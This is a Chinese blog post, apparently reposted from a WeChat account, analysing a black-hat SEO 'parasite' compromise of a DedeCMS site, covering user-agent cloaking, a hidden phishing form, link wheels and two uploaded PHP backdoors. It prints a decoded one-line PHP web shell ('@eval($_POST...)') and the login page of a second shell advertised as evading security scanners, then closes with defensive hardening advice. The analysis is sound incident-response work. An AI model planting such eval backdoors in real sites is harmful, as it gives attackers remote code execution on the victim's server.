【干货】黑帽seo案例之“寄生虫”感染及代码分析

2020.08.16 -

当我们的网站被入侵了,该如何解决?

一般遇到这种情况,大家先不要慌,拿出手机拍个视频发个抖音和朋友圈啥的就好了。

今天早上一起来,就有学员在群里发了个截图,说他的站点被入侵了,用来搞那种词。我们来看截图。

【干货】黑帽seo案例之“寄生虫”感染及代码分析

然后呢,从快照点击进去,是进入到对应的列表首页的。当时我看到这个,我就知道是什么原因了。然后我就要了ftp账号,开始了快乐的分析之旅。

先从搜索结果分析

先还原一下问题,然后我就拿着域名去site了一下,首先找到被寄生的页面,发现还不少,而且是从今年的6月初就已经有了。

【干货】黑帽seo案例之“寄生虫”感染及代码分析

然后点击进去,发现真的是跳到了列表的首页。根据老司机的经验,出现这种原因的就只有两种技术可以实现。

  1. js判断useragent做跳转
  2. php判断useragent做跳转

以前还有一种是如果用户直接访问的话是返回正常的页面,但是如果从搜索引擎点击进去是返回被修改的页面的。那个跟现在的原理相同,但是做法不一样。目前这个是为了让用户更加的难发现问题在哪,对于小白可能就一脸懵逼了。

那么确定问题所在之后,我们就开始分析。既然正常的用户访问不了,那么我们就模拟一下搜索引擎蜘蛛好了。

开始祭出大杀器

作为seoer,怎么能没有一款随意切换浏览器UA的插件呢,这里我用的是,这个。

【干货】黑帽seo案例之“寄生虫”感染及代码分析

但是这个插件默认是没有搜索引擎ua的,得自己手动添加。这里我就不啰嗦了。

通过UA插件切换了浏览器的UA,然后再次访问,终于正常了。然后就是分析网页源代码。(其实也可以直接查看百度快照的源代码的,我这么做主要就是为了装b)

【干货】黑帽seo案例之“寄生虫”感染及代码分析

好家伙,一点都不知道那个啥。而且这个明显是程序自动生成的页面,跟原本正常页面的header是不一样的。

【干货】黑帽seo案例之“寄生虫”感染及代码分析

这个是正常内页的头部。明显的,黑帽的还用的是HTML5,而正常的页面还是用XHTML(HTML4.0过渡)。黑帽还是跟进新时代的,用最新的技术。

然后浏览了一通源代码,并没有发现异常的js内容和文件。所以可以确定问题就是在php里面做的手脚了。

但是在看源码的时候,倒是发现了一些新的东西,这个也是寄生虫的特征吧。

【干货】黑帽seo案例之“寄生虫”感染及代码分析

这里有一个隐藏的区块,大概看了下是个表单,估计是用来做钓鱼用的,窃取用户信息。但是由于对应的css样式没有引用,所以就看不到真实的样子。

【干货】黑帽seo案例之“寄生虫”感染及代码分析

然后我们也看到,所有的链接都变成了这种程序生成的页面链接,对于寄生虫病毒,一般会做成链轮的方式。而且页面也会越来越多的。

【干货】黑帽seo案例之“寄生虫”感染及代码分析

我们也可以看到,有连接到站外去的链接,形成一个大的链轮。

内容方面我就不说了,这种类型的内容都是套用模板来批量生成的。

我们再来看一个很有意思的吧,这个在之前的黑帽文章里面也讲到过。就是我们经常搜索一些灰色词的时候,会看到有一些著名站点的结果在里面。那么之前的猜测是通过锚文本+301跳转来做的。但是我发现我想多了,它就是单纯的外链锚文本而已,类似于著名的“谷歌炸弹”。

【干货】黑帽seo案例之“寄生虫”感染及代码分析
【干货】黑帽seo案例之“寄生虫”感染及代码分析

HTML源码的分析就到这里,从中我们也能学到很多东西。我们接下来分析php,一般存在这种问题的原因就是网站存在文件上传漏洞,而且该童鞋的站点是dedecms的,那么这个就更加明显了。

还有一个原因确定是PHP造成的,就是在源码里面可以看到有PHP的报错信息。因此很明显就是黑客的php跟原来的冲突了才导致的。

【干货】黑帽seo案例之“寄生虫”感染及代码分析

一般的,对于文件上传漏洞主要就是在图文上传目录,和模板目录。于是我就要来了ftp账号,开始高高兴兴的分析之旅……

PHP分析

一般的,想要知道黑客的PHP文件上传到哪里,可以直接通过查看文件夹和文件的最新更新时间。

不过由于该站点的文件夹太多了,我还没得找出来,该童鞋就用D盾一顿扫就找到了,结果我不知道,还在傻乎乎的找没找到。原来是他删除了。

不过我也要到了黑客的PHP文件,等下我们分析一下源码。黑客的文件上传路径如我所料,一个是在plus/img目录一个是在templates模板目录。

来看看这几个文件。

【干货】黑帽seo案例之“寄生虫”感染及代码分析

首先,入口文件st.php是放在plus/img目录下的,这个猜测应该是个小马文件,用来方便上传后面的大马。我们看下源码:

【干货】黑帽seo案例之“寄生虫”感染及代码分析

一脸懵逼,看不懂?没关系,我们来翻译一下,其实黑客就喜欢搞这些看起来高大上的东西。其实无非就是简单的加解密而已。

然后经过一番奋斗之后,我还原了代码。

【干货】黑帽seo案例之“寄生虫”感染及代码分析

其实就是一段base64的加密,然后经过两次base64解密之后就得到原来的东西了。

解密出来,它就是一个post表单处理,它会执行post表单提交过来的代码。

@eval($_POST['test']);

所以黑客就可以通过这个表单,提交大马过来了。然后就有了接下来的大马文件。

【干货】黑帽seo案例之“寄生虫”感染及代码分析

这个就是大马文件了,其中19行的$str里面是一大长串的加密字符,我就不截图了。反正很长就是了。然后我们解密一下看看后来长啥样。

r
<title>请勿使用非法用途</title>r
<meta http-equiv="content-type" content="text/html;charset=gb2312">r
<style type="text/css">r
.form-control {r
display: block;r
width: 100%;r
height: 38px;r
padding: 8px 12px;r
font-size: 14px;r
line-height: 1.428571429;r
color: #555;r
vertical-align: middle;r
background-color: #fff;r
border: 1px solid #ccc;r
border-radius: 4px;r
-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.075);r
box-shadow: inset 0 1px 1px rgba(0,0,0,0.075);r
-webkit-transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;r
transition: border-color ease-in-out .15s,box-shadow ease-in-out .15sr
}r
r
.btn {r
display: inline-block;r
padding: 8px 12px;r
margin-bottom: 0;r
font-size: 14px;r
font-weight: 500;r
line-height: 1.428571429;r
text-align: center;r
white-space: nowrap;r
vertical-align: middle;r
cursor: pointer;r
border: 1px solid transparent;r
border-radius: 4px;r
-webkit-user-select: none;r
-moz-user-select: none;r
-ms-user-select: none;r
-o-user-select: none;r
user-select: noner
}r
r
.btn-primary {r
color: #fff;r
background-color: #428bca;r
border-color: #428bcar
}r
</style>r
<center>r
<br><br>r
<font size="3" face="Microsoft YaHei">r
过安全狗、云锁、阿里云、360、护卫神、D盾、百度云、各种杀软!</font>r
<br><br>r
<form method="POST">r
<input style="Width:125pt;display:inline-block;font-family:Microsoft YaHeifont-size:90%" class="form-control" placeholder="@Passwrd" type="password" name="getpwd">r
<input style="Width:55pt;font-size:90%;font-family:Microsoft YaHei" class="btn btn-primary" type="submit" value="#Login"></form></center></body></html>

这个就是黑客留下的,我们发现这个似乎也是一个表单提交的页面。跟内容的生成没有任何的关系。

那么黑客是如何生成内容的呢?主要的就是通过前面的那个st.php,其实这两个文件都是属于后门,而且这第二个文件是存放在了模板下的两个不同的目录里面。主要就是为了当st.php文件被发现之后,可以通过这第二个文件继续干这个站点。内容的话都是通过st.php提交来生成的。

总结

本次的分析就到这里,可以看到黑客很多地方都是很厉害的???我们要注意防范,特别是使用开源的程序做站的时候。一定要修复好漏洞。同时账户密码等一定要复杂,而且经常更换。对于一些敏感的目录,可以通过nginx禁止浏览php、asp、jsp等文件。同时要配置要权限,不让图片文件夹等拥有可执行权限。

其实到这里我都有点不太确定这个是否是真的寄生虫感染,因为没有发现生成内容的木马文件。不过只是通过后门来生成内容还是很厉害的,估计是一个新的方式吧。还有就是由于时间关系,我并没有问该童鞋,是否近期有大量的请求是访问st.php的。这个后面等我验证了再给大家答复。

都看到这里了,给个三连暴击吧。

原文始发于微信公众号(brooks的技术小屋

- END -

228
0

[技术]基于python实现的短效代理ip池程序

我们在写爬虫程序的时候,或者是抓取数据的时候,遇到一些发爬不是很厉害的网站,一般都是通过代理ip来实现绕过对方 […]